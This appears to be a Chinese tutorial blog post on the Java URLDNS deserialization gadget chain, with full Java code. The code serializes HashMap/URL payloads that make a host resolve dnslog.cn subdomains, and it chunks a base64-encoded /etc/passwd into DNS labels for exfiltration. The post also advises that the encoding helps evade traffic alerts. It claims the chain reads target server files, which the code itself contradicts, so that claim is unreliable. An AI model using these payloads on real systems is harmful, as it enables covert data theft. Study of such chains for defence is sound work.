java-URLDNS 链条审计
URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。
首先让我们来看一个小实验
从 dnslog.cn 平台获取一个域名
public class urlDNS {public void URL() throws UnknownHostException {InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");System.out.println(address.getHostName());}public static void main(String[] args) throws UnknownHostException {urlDNS url = new urlDNS();url.URL();}
}
可以看到,我们在前边定义的字符串会被正常外带出来
1)hashmap
hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。
运行一下这段代码
public class urlDNS {public void URLtest() throws Exception {URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"1111");}public static void main(String[] args) throws Exception {urlDNS url = new urlDNS();url.URLtest();}
}
我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?
让我们看一看这段代码具体干了什么
hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()
==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析
打个断点,一步一步跟进一下,就会明白这个链条
2)反序列化
构造 URLDNS 的序列化文件
public void serialize() throws Exception{URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");Map<URL,String> map = new HashMap<URL,String>();Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,22);map.put(url,"111");hashCode.set(url,-1);FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);oos.close();fos.close();}
这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据
因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1
目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了
public void unseri() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();fis.close();ois.close();}
生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带
public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.serialize();urlDns.unseri();}
3) 读取/etc/passwd
有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。
public void seriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/passwd");byte[] byteArray = new byte[fis.available()];fis.read(byteArray);String s = Base64.getEncoder().encodeToString(byteArray);System.out.println(s.length());int counts = s.length()/60;int tail = s.length()%60;List<Map> list = new ArrayList<>();for (int i = 0; i < counts; i++) {String substring = s.substring(i*60, 60*(i+1));// System.out.println(substring);URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"111");Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,-1);list.add(map);}System.out.println(Arrays.toString(new List[]{list}));FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(list);}
由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。
为了演示方便,我把/etc/passwd 复制到了本地,
public void unseriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();
}
public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.seriaPasswd();urlDns.unseriaPasswd();
}
看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密
基本原理就是这样。